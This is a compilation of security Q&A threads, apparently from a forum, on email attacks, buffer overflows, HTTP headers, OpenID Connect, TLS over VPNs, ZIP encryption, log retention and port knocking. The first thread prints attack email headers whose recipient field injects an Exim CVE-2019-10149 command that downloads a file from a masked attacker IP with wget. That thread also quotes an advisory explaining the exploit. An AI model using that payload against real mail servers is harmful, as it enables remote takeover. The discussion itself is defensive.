Unusual mail headers show evidence of MTA attack. Have I been pwned? Today I found an extremely unusual email in my catchall inbox, without subject, sender or content. My Gmail client for android reported the mail was sent by me, triggering a nuclear alert in my mind.

I had fear that someone had guessed my robust password and that this mail came from my mail transfer agent (MTA), so I rushed-look at both email itself and mail logs. That did not happen.

I found what looks to me like an attempt to exploit a mail server vulnerability that both fail2ban and I have never heard of.

Received: 20
Received: 19
Received: 22
Received: 21
Received: 18
Received: 15
Received: 14
Received: 17
Received: 16
Received: 29
Received: 28
Received: 31
Received: 30
Received: 27
Received: 24
Received: 23
Received: 26
Received: 25
Received: 13
Received: 3
Received: 4
Received: 5
Received: 2
Received: from example.org (localhost [127.0.0.1])
    by example.org (Postfix) with ESMTP id 1FA141219E6
    for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:52 +0200 (CEST)
Received: from service.com (unknown [xx.xx.xx.xx])
    by example.org (Postfix) with SMTP
    for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:50 +0200 (CEST)
Received: 1
Received: 10
Received: 11
Received: 12
Received: 9
Received: 6
Received: 7
Received: 8
Message-ID: <000701d52665$301b5e30$90521a90$@Domain>
MIME-Version: 1.0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Outlook 16.0
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20xxx.xxx.xxx.xxxx2ftmpx2fxx.xxx.xxx.xxx22}}@example.org
Authentication-Results: example.org;
X-DKIM-Authentication-Results: none
Thread-Index: AQHpZJXbpRRTStcSuHvAzmVQv5xuOw==

Analysis: the sender tried to alter the mail destination in order to launch the following (encoded) command and exploit a potential remote code execution vulnerability, where sequences of Xes denote an IP address

X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20xxx.xxx.xxx.xxxx2ftmpx2fxx.xxx.xxx.xxxx22}}@example.org

x2Fbinx2Fsht-ctx22wgetx20[IP ADDR]x2ftmpx2f[IP ADDR]x22
/bin/sht-ct#wget [IP ADDR]/tmp/[IP ADDR]#

Despite sht-ct being something I'm not familiar with (or mistranslated from manual url-decoding), I start from the assumption that all attackers know I use Postfix as the MTA on my server.

Question:

I would like to confirm if this is a real attempt, as I suspect, to conduct a remote command execution attack with a crafted email. Secondarily, I urge to to assess if I have been pwned, in ways other than looking carefully at top and crontab. I need to understand if this attack affects my MTA or tries to exploit an outdated and well-fixed vulnerability.

I just rushed to update Postfix, but without knowledge of the vulnerability (and if it ever affects Postfix), I have little clue.

The reason I rush asking security questions about MTAs on public forums is that, in my opinion/experience, a hacked mail server boxes can start to cause lots of damage in extremely short time compared to other kinds of services, and that requires acting quickly.

This is an attempt to exploit the current remote code execution issue in the EXIM mail server, i.e. CVE-2019-10149. See The Return of the WIZard: RCE in Exim for details and also the kind of exploit you encountered. You are safe if you are not using EXIM or run a fixed version.

From the linked article (emphasis added):

  This vulnerability is exploitable instantly by a local attacker (and by
  a remote attacker in certain non-default configurations). To remotely
  exploit this vulnerability in the default configuration, an attacker
  must keep a connection to the vulnerable server open for 7 days (by
  transmitting one byte every few minutes). However, because of the
  extreme complexity of Exim's code, we cannot guarantee that this
  exploitation method is unique; faster methods may exist.

  [...]

  Because expand_string() recognizes the "${run{ }}"
  expansion item, and because new->address is the recipient of the mail
  that is being delivered, a local attacker can simply send a mail to
  "${run{...}}@localhost" (where "localhost" is one of Exim's
  local_domains) and execute arbitrary commands, as root
  (deliver_drop_privilege is false, by default):

root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)


Are buffer overflows on websites stoppable? Recently, I was at the bookstore checking out books on computers. I found an interesting book on various types of hacks and how to stop them on your servers.

One that caught my eye was the "buffer overflow". It was basically the hacker removing the limit on an input box, typing random gibberish into the input, and then sending it to the server.

The server would get a buffer overflow, and most likely crash.

Sadly, in this book, it did not include any information on how to stop these attacks. And to me, these attacks sound pretty unstoppable.

Scenario one:

I am the owner of a server. On the server, there is a website with a forum. In the forum, I have the user submit information to the server. The input box does NOT have a limit on it

How would I be able to stop a buffer overflow, if one is possible?

Scenario two:

I am the owner of a server. On the server, there is a website with a forum. In the forum, I have the user submit information to the server. The input box has a limit on it.

How would I be able to stop a buffer overflow?

Limiting text in an HTML form doesn't really stop buffer overflows because a bad actor can edit your HTML or not use it at all.

Buffer overflow vulnerabilities are caused by programming errors.  Programs processing the data on the server must, if using fixed size buffers, count characters as they're stored and store no more than the allocated number of bytes.  When the buffer is full, the program must either allocate more memory or stop accepting data.

For web sites, this means not writing CGI programs in languages like C unless you are absolutely, positively sure you know what you're doing, and maybe not even then.

If you are using a scripting language like PHP, the language processor can have buffer overflow faults.  About all you can do about that is keep PHP, web server (e.g. Apache) etc. up to date and read the bug reports.  Mostly at the programming level, one isn't dealing with fixed size "buffers" in those languages, but you should still check input lengths as part or normal data validation.

Secure programming requires that you make no assumptions about any data that comes into your program from the outside.  Instead you must validate everything.  Validate by checking for acceptable values, not trying to "enumerate badness."

Enumerating badness (Marcus Ranum's term) means trying to filter out the things you know are bad.  All the bad actors have to do is find some badness you didn't think of and you're hosed.  Instead, accept only those things you know are good and reject the rest.  If you mistakenly leave something out of the things to accept, your program will break and you will fix it.  That's far better than having a compromised system.


PCI Consideration for HTTP Headers? Recently, some of our servers were being flagged for not implementing proper HTTP headers in a Qualys scan.

One of the sites that I visit regularly - http://pentestit.com has some good HTTP headers implemented:

HTTP/1.1    200 OK
Date    Mon, 26 Jun 2017 23:05:15 GMT
Content-Type    text/html; charset=UTF-8
Transfer-Encoding   chunked
Connection  keep-alive
Set-Cookie  __cfduid=d7bd211d03cddfc95f5d3b27f75db3e151498518314; expires=Tue, 26-Jun-18 23:05:14 GMT; path=/; domain=.pentestit.com; HttpOnly
X-XSS-Protection    1;mode=block
Referrer-Policy no-referrer-when-downgrade
Link    <http://wp.me/8tJeS>; rel=shortlink
Vary    Accept-Encoding
X-Mod-Pagespeed pentestit.com
Cache-Control   max-age=0, no-cache, no-store, must-revalidate
X-Content-Type-Options  nosniff
X-Frame-Options SAMEORIGIN
X-UA-Compatible IE=Edge,chrome=1
Pragma  no-cache
Content-Language    en
Server  cloudflare-nginx
CF-RAY  3753cf6c01ed6c88-SJC

Except for Content-Security-Policy, it seems to be doing everything correctly.

What are your views about being failed for incorrect HTTP headers? I tried searching for information related to this, but was unable to find anything.

I think this should be definitely PCI fail as it tends to follow the OWASP top 10 which has A5-Security Misconfiguration (https://www.owasp.org/index.php/Top_10_2017-A5-Security_Misconfiguration).

My question is - should I be failed for not implementing correct HTTP and NOT HTTPS headers? I am doing every other thing correctly, but missing a few HTTP headers.

Some headers are a bigger problem than others. e.g., if you aren't planning to serve any IE browsers, I wouldn't worry much about X-Content-Type-Options: no-sniff.

The effectiveness of some are debatable. e.g., X-XSS-Protection (did I just provoke a comment war? :) ).

Some headers are definitely useful nearly for every application. e.g, HTTPOnly;secure

Other headers are important based on the sensitivity of your application - e.g., strict-transport-security.

In general though, most of these are low-barrier security protections (CSP & HSTS/HPKP need prep, yes) and there is no good reason not to use them.


the dangers of internet forums - what is FUD, what is not I just visited a forum and a member knew what OS I was running without me saying anything (a not TOO common distro of linux). Now I'm not sure how he exactly he might have done it, or what information he might have been able to get out, but, for starters, I'm guessing that, besides information on my OS, they might have been able to determine other things such as my ip address, general location, browser, and even browser cookies. Whether or not it was necessary, I deleted my browser, performed a scan with both chkrootkit and rkhunter, and will never get back on that site. Heck, I'm wondering if by posting here so soon after, I'm putting myself at risk.

I guess the questions burning in my mind are: can they pose a threat to others in my network assuming there is a firewall and wpa2 security type? I don't have any real important information in my system, and I don't really do anything that might really put me at real risk besides the odd online purchase, but I don't know what others might have in their systems.

Should I be able to keep doing those normally until I see something weird? Besides what I already mentioned, what other steps should someone in this situation take?

I think you can safely live normally ;)

The user in this forum propably just took a guess on your UserAgent. This is neither considered hacking nor does it do any damage on your pc. There is even a Website telling you what OS you use, only by visiting it. There are also more informations about how this is working.


Use OpenID Connect for authentication and custom authorization I'm working on a service where I want to protect endpoints from unauthorized access, but I don't want to deal with user management.
This is how I found the OpenID Connect which I would like to use only as an identity layer. I'm a bit lost however with the authorization. For the authorization I want to have an application specific role based logic which would run on my server.
I saw some examples for the authorization code flow, but in those examples the authentication and the authorization is done by the same server, which has authentication and authorization endpoint. Which also made me wondering, that how typical my use-case is. Maybe I shouldn't even do it.

It's not really clear to me, that what steps should I do when the authentication is done by the identity provider (i.e google), but the authorization should be done by another service.
As I imagine in this case the flow would look something like this

Not authenticated user tries to reach a protected resource
The user redirected to the id provider's login page and it gets back the id token and an authorization code
Then the client should call the authorization endpoint with the authorization code to get access token.

In step 3 then I think I should have a connection to the identity provider in order to be able to validate the authorization code, right?
What if there are multiple identity layers, how can the authorization logic decide then, that to which identity provider should it go?

The flow you are describing is exactly why OpenID Connect exists. It standardized a way to authenticate a user on top of OAuth2.0, which is simply an authorization protocol. That way you can simply do an identity check.

You're confused about the authorization part. What you want to do is not to separate the identity provider and the authorization with OpenID Connect itself, but rather use OpenID Connect only for the authentication part.

Pretending you're using Google to authenticate and that your own application handling authorization is called Melon, your flow would use 2 separate steps:

1. OpenID Connect: Perform the authentication with Google and receive user information (in form of an id token). At this point, you know that Google authenticated the user.

2. Melon: You now know that the user is authenticated and you have access to his information. You can now use your own authorization schemes to make sure the person can proceed with the request in your system. Of course, you need a way to associate the Google user to your system.


Log of all processes running on a computer I'm new to the security domain and I want to ask - Does every program leave an 'imprint' in a log of some kind, in a laptop or a PC - of whatever process it ran. If yes, can they be analysed?

Windows systems can log all processes that are started via system policy:

  In Windows 2003/XP you get these events by simply enabling the Process
  Tracking audit policy.  In Windows 7/2008+ you need to enable the
  Audit Process Creation and, optionally, the Audit Process Termination
  subcategories which you’ll find under Advanced Audit Policy
  Configuration in group policy objects.

  These events are incredibly valuable because they give a comprehensive
  audit trail of every time any executable on the system is started as a
  process.  You can even determine how long the process ran by linking
  the process creation event to the process termination event using the
  Process ID found in both events.

Linux systems can log all processes that are started using auditd:

  In /etc/audit/audit.rules we need to ensure that the following exists.

  -a exit,always -F arch=b64 -S execve

  This will capture any execve system call (on exit) and will log this
  to the auditd log. A log entry will look similar to below.

  type=SYSCALL msg=audit(1318930500.123:3020171): arch=c000003e syscall=59 success=yes exit=0 a0=7fff65179def a1=7fff65179ec0 a2=7fff6517d060 a3=7ff54ee36c00 items=3 ppid=9200 pid=9202 auid=0 uid=1000 gid=100 euid=1000 suid=1000 fsuid=1000 egid=100 sgid=100 fsgid=100 tty=(none) ses=4 comm="xscreensaver-ge" exe="/usr/bin/perl" key=(null)
  type=EXECVE msg=audit(1318930500.123:3020171): argc=5 a0="/usr/bin/perl" a1="-w" a2="/usr/bin/xscreensaver-getimage-file" a3="--name" a4="/home/welby/Pictures

If data exists, it can be analyzed :).  But these are just methods of enabling the data capture.


TLS termination point in VPN connection Suppose I have set up my PC at home to be a VPN server. If I access the Internet on my mobile via this VPN and the connection is TLS-based, will the TLS encryption end after reaching the VPN server?

Assuming you don't mean "the connection is TLS-based" as in "the VPN service is TLS-based": No.

TLS is end-to-end protection, established from your client (browser) to the address (typically a web server or load balancer, sometimes a proxy or reverse proxy server) that you're trying to reach. The server is located by IP address and authenticated by ensuring it has a trusted TLS certificate for that service, and the corresponding private key. None of the switches, routers, or other devices - including VPN servers - along the route will terminate the TLS until it reaches the destination host (although that host might terminate TLS and then send another request, possibly a plain-text one, beyond that; this is pretty common for load balancers serving a cluster of servers).

VPNs are transparent tunnels; the TCP connection that your browser makes to the server you want to use TLS with will be wrapped inside the VPN tunnel between your device and your VPN server, and then transparently forwarded to its actual destination by the VPN server; responses will be tunneled back to you. VPN servers can monitor and even tamper with traffic flowing through them, but that's where the end-to-end protection of TLS comes into play: assuming that your VPN server does not have the target host's private key (or a fraudulent but trusted certificate for that host), the VPN server can neither decrypt nor (usefully) change the TLS traffic, save by just closing the connection.

Of course, some VPNs do use TLS for the VPN connection itself. Those TLS connections obviously end at the VPN server (because your device established a TLS connection with the VPN server, not with something beyond it, when it connected to the VPN). However, even in that case, if you then make a TLS connection through the VPN to some other server, then your "some other server" TLS connection will be tunneled through your VPN TLS connection. In that case, tunneled TLS connection will still be the same TLS connection after being forwarded by the VPN server, and the VPN server will still have no idea what it says.


Would it be possible to add additional files to a password protected zip 2.0 file I don't have the ability to determine/recover the master password for a production system that uses zip 2 archives. However, I need to be able to add new files to existing encrypted archives. There are various tools out there that can 'break' the zip 2.0 encryption with a known-plaintext attack, which allows recovery of the contents. However, I am not interested in recovering the contents.

Since these tools recover key's 0-2 (3x 4-byte key triplet) per the zip 2.0 appnote (scroll to nearly the very end), in theory would it then be possible for those tools (or a modified open source zip utility that can write encrypted zip 2.0 archives) to initialize the keyset with the known-to-decrypt key triplet, generate a 12-byte 'random', and then use these values to add additional files to the existing archive?

The goal, in layman's terms, is to add 06_14.dat, 07_14.dat, 08_14.dat, etc. to a backup file that the backend system can read.

Note that simply adding unencrypted files won't suffice - the system uses a hardware token for the encryption/decryption key (which is why I can't possibly recover it) AND it tries to decrypt each file individually using the logic: 1) lists archive; 2) sorts by the above names where the first 2 digits represent the month 01-12 and the second 2 digits represent the year for 1997-2014; 3) and then tries to extract the NEWEST file first - bail upon first decryption failure. If the current file that it wants to decrypt/decompress, matching the ##_##.dat signature, isn't encrypted then it bails too.

More specifics of the system shouldn't be necessary, but the reason this issue has occurred is because our front-end system that shared the symmetric key (and auto-appended the .dat files for us) has passed on to the otherworld where obsolete hardware goes once it malfunctions.

I'm open to possible solutions to the problem, but just a lively discussion on whether this is feasible/practical/etc. is more than enough - I'll build the solution if this line of reasoning appears possible.

Generally speaking, you are right: given the keys 0, 1 and 2, it is possible to produce the encrypted form of any other file for the same password, even if the said password is not known. If you follow this road, you will probably be interested in Info-ZIP, a clean opensource reimplementation of the PKZIP format.

Alternatively, you may want to recover the actual password, or an equivalent password (which yields the same keys 0, 1 and 2). For that, consider the attack described in this paper, especially section 3.6. This is the attack that is implemented by the tools that you talk about; from keys 0-2, the password, or at least a matching password, can be rebuilt with (much) less cost than exhaustive search. If you obtain such a password, then you will be able to use standard Zip tools to manipulate your archives, which may avoid a lot of trouble.


Retention periods for web logs I work for an ASP that provides banking solutions

Card
Services
Payments
ACH
Online Banking
And others

Back Story: Our company provides an "all in one" solution or parts thereof, we are constrained by regulatory agencies.  One of the issues that we have run into, is retention.  We are pulled in to investigate fraud, fraud-like transactions, etc.  Specifically, I have been asked by my Manager about retention of weblogs.  His question was centered around the FFIEC 2.0 Refresh.  In talking with our Compliance Manager, we could not find anything specific to discuss data retention.  Most of the information that I have seen at the FFIEC website is centered around business practices and not IT or Technology.  However, when I originally composing this post, I did see a pretty relevant article related to this topic, but is for PCI.  I also understand with my question, has very broad brushstrokes in the sense that I opened this regulatory question to not only the Financial sector but Healthcare (HIPPA) as well.

When composing this post, have seen the topic - Data Retention Laws for ISPs in North America as well as What's the best duration for storing e-mail? but this question more inline with specific regulatory agencies as listed below.

Needing to know if there are regulatory requirements for web server log retention for:

SAS-70
FFIEC
SOX
HIPPA

We capture login information and we have been advised we need to keep forensic data for at least 365 days and hourly data for at least 30 days.

Could not find anything to substantiate this on the FFIEC website, for example.  I am sure there are guides that address this.

Other references related to this
Payment Card Industry (PCI) Data Security Standard Page 28

Logging requirements for PCI for web applications

Any other ideas or suggestions?

Most legislation and regulations will not prescribe specific time frames for preserving logs.  For example the National Archives Records Control Schedules (RCS) vary according to the document type and are adjustable by agency mission and organic legislation.  If you can't find better, the FEDERAL RCS are an authoritative basis for specifying retention time frames.  David Swifts's paper in the SANS Reading Room Successful SIEM and Log Management Strategies for Audit and Compliance provides detailed and thoughtful guidance.

  A general principal of compliance is to have a written policy. Auditors then check to confirm that the written policy is followed. By defining
  and documenting our events of interest (EOI), and providing a written copy to auditors, we improve our overall compliance, and meet our requirement for a written policy. Then instead of being held to someone else's interpretation of
  the regulation, provided of course that we have a legitimate supportable set of EOI definitions, we will be measured to an agreed up on standard.

Be sure to include your auditors in this decision or face the possibility of an adverse finding later. If they decline to participate, document that in writing; don't count on auditors "remembering" later. Verbal agreements are only worth the paper they are written on. Also carefully document the decision process (meetings, references, participants, and policy statements) to head off negative findings years later.  The three critical inputs for preparing documentation for audits are: actions, actors and artifacts.

Note that records pursuant to the legal prosecution of a bad actor will extend their retention requirements for years beyond the conviction of the perpetrators, even to include the term of their sentence should appeal and parole hearings ensure.

The Appendix 2 of the RSA Best Practices in Log Management for Security and Compliance cited by schroeder has a comprehensive list of events and compliance expectations.


What is this Russian calendar reminder that popped up? I woke up this morning and saw a calendar reminder that I definitely did not put there, written in Russian. It would be super helpful if anyone knows what the text means, but I figured opening the reminder was a bad idea in case there are any exploits in the Calendar app.

Could my GMail account be compromised? Or maybe some site I visited put that there somehow? Should I be worried?

EDIT: I looked at my calendar again and the invitation had been copied to literally every single day of every month on my calendar... that's some aggressive spam. I've changed my default settings to hide invitations I haven't responded to or that I've declined. Hopefully this won't happen again.

It appears to be this: https://www.androidpolice.com/2019/06/22/google-calendar-phising-scam/

  Scammers are exploiting [Google] Calendar['s] default setting, which automatically adds invites to your agenda, even if you haven't accepted them. Even worse, it'll create an automatic reminder to notify you a few minutes before the fake event takes place. [...] The invitation would typically contain a link to collect sensitive data such as your credit card or bank account number. Since the notification comes from an app people tend to trust, they'd pay less attention to its authenticity, which is precisely what attackers want.

The article also mentions how to fix this google calendar bug (ahem, I mean 'feature' of course):

  [to deactivate] automatic event creation[,] head over to Calendar's settings using a computer, navigate to Event Settings -> Automatically add invitations -> No, only show invitations to which I've responded. You can also prevent Calendar from showing declined events in your agenda by going to View Options and deselecting Show declined events.


What kind of email services should one use for online accounts such as paypal, adsense, youtube...? Is using gmail accounts safe for your online accounts or should I employ some kind of encrypted email?
I'm not paranoid or something, I just seek an opinion from people who know what they are talking about...

In 2014 I was living with a friend who was at that time an objectively gifted programmer but he went to India and literally left his phone home on purpose. (I can't ask him now) He told me he could hack a gmail account in a matter of 30 minutes if I remember correctly.

I know absolute security is a myth, but what kind of email services should one employ to have reasonably good security for their online accounts?

As far as I am concerned, I try to use dedicated emails with full random passwords stored in a password manager. Random passwords are brute force resistent, and dedicated mail accounts make it harder to establish correlations between my different accounts.

As email provider, I sometimes use my ISP, but more often any other free email provider. I do not trust any of them more than the others to respect my privacy. All I hope is that their datacenter is secure enough to protect my account from script kiddies and ordinary bad guys.


Buffer overflow attack I am learning about buffer overflow attacks and one thing that i am not able to understand is that in most operating systems an stack is may not necessarily be a contiguous block of memory in the physical memory. if that's true then how can an overflow overwrite the other data in stack ?

Logical to physical address mapping is done by the segmentation and paging units of the CPU. A process (which means both your program and any malicious code that gets executed in it's address space) doesn't know about this mapping; they see a continuous address space, even if that address space might not be mapped to continuous regions of physical memory by the paging unit.

Your example doesn't really work out, because page size, at least on the x86, is at least 4k. So we can't have a page boundary between 0x100 and 0x104. These addresses would map to the same physical memory, because they'd lie in the same page.

However, that doesn't matter, because even if your malicious code wrote data over a page boundary, that wouldn't magically turn off the paging unit; instead, the paging unit would translate the virtual address to the physical address of the other page.

It's really rather simple. Assuming we're dealing with 4k pages, pages start at physical addresses with the last 12 bits zeroed.

The last 12 bits of any virtual address are an offset into a page. The other bits of an address are used to identify the page in a multilayer page table, which in turn stores the physical address of the page.

A running program (and that includes any malicious code running in the same address space) can't write directly to physical adresses; any address supplied by machine instructions is considered to be a virtual address and always ends up getting translated by the segmentation and the paging unit of the cpu, so the "gap" between 0x1000 and 0x2000 that you perceive doesn't exist for the program.


Suspicious redirect in Chrome I was online and one of the sites randomly redirected to a site called mcafeesecurity.application-center.club.  It was talking about how my mcafee has expired (my subscription is current). I scanned my computer with malwarebytes and mcafee (both full scans and nothing was found).  Does anyone have any idea what this is?  I know it is a scam site, but I need to know the type of virus/malware/phishing attempt I am dealing with.

Mcafeesecurity.application-center.club is a browser redirect program presented as something that it’s not – an enhanced search engine that’s better than products offered by established names. It may certainly seem great on the surface – you’re provided with local weather, news, quick access to iHeartRadio, YouTube, SoundCloud, Amazon, Gmail, Yahoo!, Twitter, Instagram, and, of course, an ability to search the Web for information. The application is completely free, so installing it may seem appealing, but you shouldn’t trust it and, as a matter of fact, should keep it as far away from the system as possible.

http://pcfixguides.com/best-method-to-remove-mcafeesecurity-application-center-club/


SOMAP for risk assessment methodology or other Open Source IT Risk Management Is
SOMAP good for risk assessment or it is not in use any more?

Is there any other Open Source IT Risk Management?

After skimming the documents, I cannot recommend SOMAP as a guide for risk. I have not reviewed the software, but the guidance on risk in the documents is too cursory to be useful. Also note that the guides for SOMAP have not been updated since their original version published in 2006.

There are lots of IT Risk methodology options for you to look at in varying degrees of complexity, focus, and in availability (free/paid):

COSO
NIST 800-39 800-30
ISO 27005, ISO 31000
RISK IT
Octave Allegro
FAIR
others


Iptables DROPS SSH after port knock rules, but nmap shows it as OPEN I setup port knocking rules on CentOS 7, iptables as follow:

-I INPUT -p tcp --dport 1 -m recent --set --rsource --name KNOCK1 -m limit --limit 5/min -j LOG --log-prefix "knock 1" --log-level 7
-I INPUT -p tcp --dport 2 -m recent --rcheck --rsource --seconds 20 --name KNOCK1 -m recent --set --rsource --name KNOCK2 -m limit --limit 5/min -j LOG --log-prefix "knock 2" --log-level 6
-I INPUT -p tcp --dport 3 -m recent --rcheck --rsource --seconds 20 --name KNOCK2 -m recent --set --rsource --name OPEN_NOW -m limit --limit 5/min -j LOG --log-prefix "knock 3" --log-level 6
-I INPUT -p tcp --dport 22 -m state --state NEW -m recent --rcheck --rsource --seconds 20 --name OPEN_NOW -j ACCEPT

Then I blocked port 22:

iptables -A INPUT -p tcp --dport 22 -j DROP

It works correctly because before sending the port sequence, nmap displays as:

22/tcp filtered ssh     no-response

And after sending the following probes (on Windows):

nmap -PN --host_timeout 201 --max-retries 0 -p 1 200.xxx.xxx.xxx && nmap -PN --host_timeout 201 --max-retries 0 -p 2 200.xxx.xxx.xxx && nmap -PN --host_timeout 201 --max-retries 0 -p 3 200.xxx.xxx.xxx

Both nmap and nc shows it as open:

nmap:
22/tcp open  ssh     syn-ack ttl 49
nc:
hostname.xxxx.xxxx [200.xxx.xxx.xxx] 22 (ssh) open

However, I cannot ssh into it, using any client (Putty, nc). It timeouts as Iptables is correctly dropping the packets. But the port is OPEN (since the probes opened the port) meaning the DROP rule was no longer in effect and nmap/nc got "Ack / Open", shouldnt I be able to ssh?

Well yeah problem was of course the --state NEW only allowed 1 packet to SYN, after which server replied with SYN/ACK and then iptables will drop every following packet from client.

But I didnt wanted to use -contrack for ALL connections, since Im just paranoid over performance or any exploit that could take advantage of established connections that somehow passed the rules.

So I added --state NEW,RELATED,ESABLISHED just for the last knock, and that allowed me to ssh for 20 seconds, then it will drop the connection, but during that time I would just -j ACCEPT my IP.


How does CRIME work against cookies Wiki on CRIME:

  CRIME <...> is a security exploit against secret web cookies

RFC 2616 on Content-Encoding:

  The Content-Encoding entity-header <...> when present, its value indicates what <...> codings have been applied to the entity-body, and thus what decoding mechanisms must be applied <...>

The question I have here:

If compression doesn't compress Cookies (as per RFC it compresses only the body and cookies are a part of the headers), how do the CRIME attack are even possible? There has to be some misunderstanding on my part.

NOTE: I am not asking on how to prevent the attack, but on specifics on how it works.

If compression doesn't compress Cookies (as per RFC it compresses only the body and cookies are a part of the headers), how do the CRIME attack are even possible?

CRIME does not work at the HTTP level but at the TLS level. The problem here is not the compression of the HTTP body like in BREACH but the compression of the complete connection at the TLS level. This way the compression includes also the HTTP  header which contains the Cookie.

For a more detailed explanation see CRIME - How to beat the BEAST successor?.


Single point of failure: can US government requests for passwords be a vector for attack? In recent news, CNET has reported requests for passwords, hashing and/or encryption algorithms and salts from U.S. government agencies:

  The U.S. government has demanded that major Internet companies divulge users' stored passwords, according to two industry sources familiar with these orders, which represent an escalation in surveillance techniques that has not previously been disclosed.

While I'm only mildly worried that they can impersonate users at will, it strikes me as a major concern that enterprising private or non-U.S. APT-affiliated blackhats may attempt to impersonate U.S. government and get access to the data. Maybe I'm overthinking this...

Related:

Does Centralisation Decrease the Probability but Increase the Damage of Exploits?
Is there any security benefit of not using email services recently associated with PRISM?
Can cloud based password managing services be trusted?
What are the implications of NSA surveillance on the average internet user?

Impersonating law enforcement agents is an old trick used by criminals to fool honest people. This is a mechanism used in numerous movies, e.g. this one.

Though it has been revealed that the US government requested (and presumably obtained) some user password dumps from Internet companies, the exact details of the used protocols for that exchange are not known. We can imagine that it involved a face-to-face meeting with some government agents, probably in a discreet way (the whole operation was supposed to be secret, so no warrant or uniformed officers), but the responsible people at the target Internet companies were somehow convinced that they were talking to genuine US agents.

If I were in the position of the government agency officer trying to setup this interception, I would first invite the ISP CEO to meet me in a very official-looking building, say the Pentagon or the CIA headquarters at Langley. The guy would then see me and be convinced that I really am an official member of the hidden US forces, by virtue of me being able to secure an office in the main CIA building. Then, I could later meet the guy again, at his office, and he would recognize me and accept to hand me a fresh batch of passwords.

The important point in all this is that the vulnerability is not the US government; it is that ISP are apparently willing to hand passwords over to someone who could convince them that he operates under a direct mandate of the US government. The vulnerability would still be there even if the US government had never been involved at all !

Another attack vector is afterwards. Assume that a real government agent obtained the passwords. Then he will store them. Somewhere. Will they be well protected there ? US taxpayers certainly hope that expensive intelligence agencies are competent and won't store sensitive data on hackable servers. But can they be sure of that ?


Where are good sources of information on current tactics that are used in cyber attacks? I got hired in the cyber security field and it's a break-in for me. I have many years in the IT field so I am building right off of that.

My job requires knowledge of common attack vectors/signatures, recognition of a kill chain, isolation, remediation, and research. Basic CND type stuff.

One thing I am curious about is where would a cyber defender go to learn about zero-day exploits, cutting edge exploitation/attack routines, or anything else that a typical black hat (not a script kiddie) might know and use.

The emergent problem is that I don't want to make myself vulnerable or risk tipping others off to my presence while doing info mining. Most importantly, I don't want to risk damaging my integrity by being identified or associated with black hat groups.

I'm aware of the National Vulnerability Database but I'm concerned with the delta that exists between brand new attacks or exploits and known signatures that are archived there. The larger the delta between the two (the latency between the newest entries and the trailing edge of the latest exploits/attacks not yet captured), the more that info is deprecated. I want to minimize that delta by bridging the knowledge gap between what's available in the NVD and what has yet to be recorded and documented.

There are sites like Krebs On Security and the random articles found everywhere but are there any other useful repositories, forums/discussions, or sites that have been useful to farm that kind of information?

From -- https://attack.mitre.org/wiki/Main_Page

  Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™) is a
  model and framework for describing the actions an adversary may take
  while operating within an enterprise network. The model can be used to
  better characterize and describe post-compromise adversary behavior.
  It both expands the knowledge of network defenders and assists in
  prioritizing network defense by detailing the post-compromise
  (post-exploit and successful access) tactics, techniques, and
  procedures (TTPs) advanced persistent threats (APT) use to execute
  their objectives while operating inside a network.

The work is further expanded from red-team exercises in The Fort Meade eXperiment (FMX).

For on-going cyber-offensive tradecraft, please see the following resources:

Initial Entry-Point Access

Conference Material

irongeek.com
infiltratecon.com
blackhat.com
gsec.hitb.org
media.defcon.org
recon.cx

SANS

pen-testing.sans.org
https://lists.sans.org/mailman/listinfo/gpwn-list

RecordedFuture

https://www.recordedfuture.com/shared-poc-exploits/
https://www.recordedfuture.com/russian-apt-toolkits/
https://www.recordedfuture.com/top-vulnerabilities-2016/ -- https://www.recordedfuture.com/top-vulnerabilities-2015/
https://www.recordedfuture.com/recent-ransomware-vulnerabilities/

Research Labs

labs.mwrinfosecurity.com
immunityproducts.blogspot.com
blog.trendmicro.com
community.rapid7.com
threatpost.com
zscaler.com/blogs/research/
code.google.com/p/google-security-research/ -- security.googleblog.com -- googleprojectzero.blogspot.com
blog.coresecurity.com
contextis.com/resources/blog/
info.lastline.com/blog/
fireeye.com/blog/threat-research/
blog.skyboxsecurity.com
nccgroup.trust/uk/our-research/ -- nccgroup.trust/globalassets/our-research/
endgame.com/blog/
labs.bluefrostsecurity.de
signalsec.com/blog/
talosintel.com
blog.vectranetworks.com
blog.checkpoint.com
sekoia.fr/blog/
payatu.com
researchcenter.paloaltonetworks.com
symantec.com/connect/blogs/
heimdalsecurity.com/blog/
proofpoint.com/us/threat-insight/
cgsec.co.uk
expdev-kiuhnm.rhcloud.com
keenlab.tencent.com
blog.netspi.com
exploresecurity.com
silentbreaksecurity.com
sensepost.com/blog/
blackhillsinfosec.com
utkusen.com/blog/english-articles
blog.fortinet.com
blogs.mcafee.com
blog.morphisec.com
srcincite.io
blog.malwaretracker.com
nakedsecurity.sophos.com

Research Individuals

shellntel.com
cybersyndicates.com
rotlogix.com
malware.dontneedcoffee.com
blog.skylined.nl
blog.innerht.ml
d.uijn.nl
j00ru.vexillium.org
blog.malerisch.net
blog.malwareclipboard.com
malwarejake.blogspot.com

Access Expansion

This list probably includes some of the above, but these tend to focus on what to do after you already have access (i.e., Post-Exploitation techniques)

harmj0y.net/blog/
fuzzysecurity.com
breakingmalware.com
labofapenetrationtester.com
crowdstrike.com/blog/
blog.comae.io
sixdub.net
en.wooyun.io
insinuator.net
subt0x10.blogspot.com
exploit-monday.com
secinfodb.wordpress.com
moyix.blogspot.com
nightlionsecurity.com/blog/
talosintelligence.com
repret.wordpress.com
astr0baby.wordpress.com
woumn.wordpress.com
travisaltman.com
bhafsec.com
crowdshield.com/blog.php
labs.nettitude.com/blog/ -- nettitude.co.uk
carnal0wnage.attackresearch.com
countuponsecurity.com
adsecurity.org
clymb3r.wordpress.com
enigma0x3.net
kernelmode.info/forum/
labs.portcullis.co.uk/blog/
trustedsignal.blogspot.com
